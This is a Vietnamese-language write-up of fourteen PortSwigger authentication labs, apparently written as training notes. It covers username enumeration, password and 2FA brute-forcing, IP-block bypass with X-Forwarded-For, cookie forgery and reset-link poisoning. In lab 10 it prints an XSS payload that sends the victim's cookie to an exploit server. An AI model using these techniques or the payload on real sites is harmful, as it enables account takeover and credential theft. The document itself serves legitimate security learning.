---
# System prepended metadata

title: writeup authentication lab

---

# lab 1

![image](https://hackmd.io/_uploads/SyqpgjE9a.png)

Sử dụng cluster boom để bruteforce 
![image](https://hackmd.io/_uploads/ry3V8sVq6.png)

wordlist sử dụng của lab cung cấp. Có thể brute force cùng lúc mật khẩu và username cùng lúc. Tuy nhiên lúc chạy thử mình thấy response trả về có 2 length là 3248 và 3250, 3248 khi Invalid username, 3250 thì sẽ là incorrect password. Tức là ta có thể xác định username nào có tồn tại trong db.
=> enum username trước

![image](https://hackmd.io/_uploads/SyAyus45T.png)

=> tìm được user, lúc này chỉ cần bruteforce mật khẩu.

![image](https://hackmd.io/_uploads/Bk7BdjE56.png)

![image](https://hackmd.io/_uploads/rJaU_oE96.png)

# lab2

![image](https://hackmd.io/_uploads/H19d_jE5p.png)

Đăng nhập thử với user wiener, sau khi đăng nhập, được điều hướng sang trang login2, session cookie đã được tạo.
![image](https://hackmd.io/_uploads/HkcjG6EcT.png)

Có thể lúc này user đã ở trạng thái "logged in". Thử đăng nhập bằng user carlos và khi được điều hướng sang trang login2, ta truy cập thẳng sang `/my-account?id=carlos`

![image](https://hackmd.io/_uploads/ry_Cfa4cT.png)

bypass thành công

# lab3

![image](https://hackmd.io/_uploads/BkWvQTNqa.png)

Đầu tiên mình có thử reset password của carlos luôn, tuy nhiên mail sẽ được gửi về mail của user carlos. Sau đó thử reset pass với user wiener, một url reset password được gửi về mail. URL này có sử dụng một `temp-token` để xác thực phía server. Ví dụ:
`/forgot-password?temp-forgot-password-token=79l9xr8fvbn75f8d7ydb7ak1gec9hymi`. Temp token này sẽ hết hạn sau 1 khoảng thời gian và là một giá trị random. Tuy nhiên khi submit form reset pass, có một trường là username.

![image](https://hackmd.io/_uploads/BkPgMkBca.png)

Mình thử tạo một link reset mới và thay đổi giá trị username thành carlos thì reset được pass của user carlos

![image](https://hackmd.io/_uploads/H1_cGJS5T.png)

# lab4

![image](https://hackmd.io/_uploads/BJCL_yHqa.png)

Dùng intruder để enum username, do đang dùng máy trên cty ko cài đc thêm đồ nên mình dùng tạm extension [`Diff Last Response`](https://portswigger.net/bappstore/902ef17f5aaa4f8eabe00491de3b241d). Save server response sau đó diff multiple file sẽ nhanh hơn. Các response sẽ khác nhau ở phần script js để fetch đến `/analytics?id`. Tuy nhiên có một request
có thêm một điểm khác. 
![image](https://hackmd.io/_uploads/H1PSo1H9T.png)
![image](https://hackmd.io/_uploads/SkG8jkHqa.png)

Thử dùng username này để bruteforce mật khẩu. Kết quả bruteforce thành công.

![image](https://hackmd.io/_uploads/Sk4DhJH9a.png)

![image](https://hackmd.io/_uploads/rk4d2JB9T.png)

# lab 5

![image](https://hackmd.io/_uploads/H1b6yeB5T.png)

Sau khi test, mình nhận thấy: với username sai, dù mật khẩu có dài bao nhiêu thì request cũng sẽ phản hồi trong khoảng 200-250 mili giây. Với username đúng, password càng dài thời gian phản hồi sẽ càng lâu. 

![image](https://hackmd.io/_uploads/BkLpOxBcT.png)

![image](https://hackmd.io/_uploads/H1veFgH56.png)

![image](https://hackmd.io/_uploads/ryIZFxSc6.png)

![image](https://hackmd.io/_uploads/B1ofFgH96.png)

Như vậy đã tìm được cách để enum username

![image](https://hackmd.io/_uploads/BkwnKxH9p.png)

=> brute password của username `al`, ngoài ra thì lab còn block địa chỉ ip khi đăng nhập sai quá 3 lần. Mình sử dụng header `x-forwarded-for` và genarate random địa chỉ ip để thay vào

![image](https://hackmd.io/_uploads/BkplgZSq6.png)

![image](https://hackmd.io/_uploads/BkDzlZS9a.png)

# lab 6

![image](https://hackmd.io/_uploads/SJCyrWBq6.png)

Bài này tương tự lab trước, server sẽ block ip khi đăng nhập sai quá nhiều lần. Sử dụng header `x-forwarded-for` và genarate random địa chỉ ip để thay vào.

![image](https://hackmd.io/_uploads/BJ8dBZHqa.png)

position 1 để list ip, position 2 để wordlist password.

![image](https://hackmd.io/_uploads/BktuWVB56.png)

Sau khi chạy thì cách này không bypass được. Ở phần lý thuyết của portswigger có nói `"For example, you might sometimes find that your IP is blocked if you fail to log in too many times. In some implementations, the counter for the number of failed attempts resets if the IP owner logs in successfully. This means an attacker would simply have to log in to their own account every few attempts to prevent this limit from ever being reached."` Thử cách này xem sao, mình đã có sẵn credentials của user wiener. Sao một vài lần thử thì sau khi đăng nhập thành công bất kì user nào, số lần đăng nhập sai đã được reset. Như vậy là có thể dàng bypass. Thử tay thì vậy nhưng khi chạy với tool cần set timeout và số lượng request. Nhanh quá cũng sẽ được.

![Screenshot 2024-01-29 at 21.45.01](https://hackmd.io/_uploads/ryr89NH96.png)

![Screenshot 2024-01-29 at 21.43.56](https://hackmd.io/_uploads/H1Zv9VSca.png)

![image](https://hackmd.io/_uploads/Sy3Ti4Bc6.png)

# lab 7

![Screenshot 2024-01-29 at 22.29.00](https://hackmd.io/_uploads/HyXU4SBqT.png)

Brute-force username nhiều lần, mỗi username chạy khoảng 4-5 lần. 

![image](https://hackmd.io/_uploads/HJbF4BH5a.png)
athena => valid user

Tiếp theo brute-force mật khẩu.

![Screenshot 2024-01-29 at 22.46.21](https://hackmd.io/_uploads/ry7v_Sr9a.png)

dựa vào việc message trả về khi đăng nhập, ta có thể đoán response không có message là mật khẩu đúng. Đợi 1p để tài khoản unlock rồi đăng nhập thử. Tuy nhiên để chắc chắn, có thể code python script để bruteforce. Chỉ brute 3 lần, đợi hết 1 phút rồi mới tiếp tục.

![image](https://hackmd.io/_uploads/rkZ3Orr9T.png)

# lab 8

![image](https://hackmd.io/_uploads/BJovPo8cp.png)

Test với account user wiener, khi đăng nhập đúng tài khoản mật khẩu ta sẽ được redirect về `/login2` và set-cookie `verify=wiener`. Mình có thử chuyển hướng về `/my-account?id=wiener` tuy nhiên ko bypass được. Tiếp theo thử sửa cookie `verify=carlos` khi trang web được redirect lúc đăng nhập đúng.

![image](https://hackmd.io/_uploads/Bkx1-3U96.png)
*request này được tạo khi đăng nhập với user wiener*

![image](https://hackmd.io/_uploads/ryvV-nU5T.png)

vào được màn hình nhập code. Kiểm tra mail của user wiener ko có j, tức là lúc này trang web đang nhận là user carlos. Thử nhập code 5 lần, không có biện pháp block user nhập code sai=> lúc này mình dùng intruder để bruteforce

![image](https://hackmd.io/_uploads/Sy2ZI3L96.png)

chọn show response in browser
![Screenshot 2024-01-31 at 00.48.15](https://hackmd.io/_uploads/BkMnIhUqp.png)

![image](https://hackmd.io/_uploads/BkaP828cp.png)

# lab 9

![image](https://hackmd.io/_uploads/HyDzwnI56.png)

Đăng nhập chọn stay logged in
![image](https://hackmd.io/_uploads/rJa-DnL9a.png)

![image](https://hackmd.io/_uploads/r1VAv38cp.png)
Sau khi đăng nhập thành công có 1 cookie `stay-logged-in` được set. Quăng vào cyberchef thử 

![Screenshot 2024-01-31 at 00.55.23](https://hackmd.io/_uploads/BktXO2L5a.png)

Đoạn đằng sau dấu ":" có vẻ giống mật khẩu được hash. Để confirm, hash thử mật khẩu dùng các hàm băm thông dụng. Xác định được mật khẩu được hash bằng MD5.

=> bruteforce cookie bằng cookie wordlist.
![Screenshot 2024-01-31 at 01.00.05](https://hackmd.io/_uploads/rypVY3Uqa.png)

![image](https://hackmd.io/_uploads/HylGhnLca.png)

# lab 10

![Screenshot 2024-01-31 at 01.18.48](https://hackmd.io/_uploads/Syic6hIq6.png)
 Bài này sử dụng cookie tương tự bài trước, tuy nhiên phần mô tả không cho wordlist password và có nói dùng xss để steal cookie. Tạo payload để steal cookie 
```javascript!
<script>document.location='https://exploit-0a0f003b03b6fb9c8290dd3801d80035.exploit-server.net/exploit'+document.cookie</script>
```

Xem access log
![image](https://hackmd.io/_uploads/r1vT0nIqa.png)

![image](https://hackmd.io/_uploads/H1tl1aU5a.png)

Search hash vs database trên mạng
![image](https://hackmd.io/_uploads/rysmJaU9a.png)

# lab 11

![image](https://hackmd.io/_uploads/Bym6kTL5a.png)

Test thử thì trang web có thể sử dụng header `X-Forwarded-Host:`, dùng nó để inject host. Khi đó tạo request reset password, link gửi về mail sẽ trỏ về host được inject

![image](https://hackmd.io/_uploads/r1fY11vcp.png)

Reset password carlos vào inject host về exploit server.

![image](https://hackmd.io/_uploads/BJk7gJvqp.png)
lấy được token, tiến hành reset password của user carlos

![image](https://hackmd.io/_uploads/H1zPe1Dc6.png)

# lab 12

![image](https://hackmd.io/_uploads/rJKulJv96.png)

Chắc năng thay đổi mật khẩu khi submit có request và các tham số như sau. Thử ném vào repeater và thay đổi username sang carlos xem server có check xác thực j ko. Bị redirect sang trang login, tuy nhiên sau khi test lại với user wiener, thì mình nhận ra bị redirect sang login là do sai mật khẩu hiện tại. Thử đổi mật khẩu nhưng nhập sai mật khẩu mới, 2 lần nhập ko trùng nhau. Khi mật khẩu hiện tại đúng, web trả về thông báo là `New passwords do not match`, Khi mật khẩu hiện tại đúng web trả về `Current password is incorrect`
=> có thể bruteforce password thông qua chức năng này.

![image](https://hackmd.io/_uploads/BJf5zHP5T.png)

# lab 13

![image](https://hackmd.io/_uploads/SJsP4rwcT.png)

![Screenshot 2024-01-31 at 10.53.35](https://hackmd.io/_uploads/r1VFErw5p.png)
Cred được gửi dưới dạng json, thử chèn thêm thông tin.

![Screenshot 2024-01-31 at 10.55.40](https://hackmd.io/_uploads/SyexBBPqp.png)
![Screenshot 2024-01-31 at 10.56.00](https://hackmd.io/_uploads/ByKlHHwcT.png)
=> phía server xử lý sẽ lấy user ở cuối để xử lý đăng nhập, tuy nhiên thử bruteforce thì vẫn bị block 1 phút. Vì là json nên object có thể nhận giá trị là array. Thử truyền vào array.

![image](https://hackmd.io/_uploads/rknxKBwcT.png)

![image](https://hackmd.io/_uploads/HyQQFSD9a.png)

Thử send password sai nhiều lần nhưng server không có block. Từ đây ta có thể bruteforce

![image](https://hackmd.io/_uploads/r1j-orvqp.png)

![image](https://hackmd.io/_uploads/SJCQjrvqa.png)

# lab 14

![image](https://hackmd.io/_uploads/r1VIiBv5a.png)

![image](https://hackmd.io/_uploads/rkI16rPca.png)

request có `csrf token` nên không thể sử dụng trực tiếp để bruteforce. Cần tạo request gen csrf token trước. Sử dụng tính năng macro của burpsuite để hỗ trợ việc lấy csrf token khi bruteforce. hoặc có thể tự code python script. Lab này mình đi coi solution, với đợi bruteforce lâu quá. Thỉnh thoảng nó bị lỗi phải chạy lại.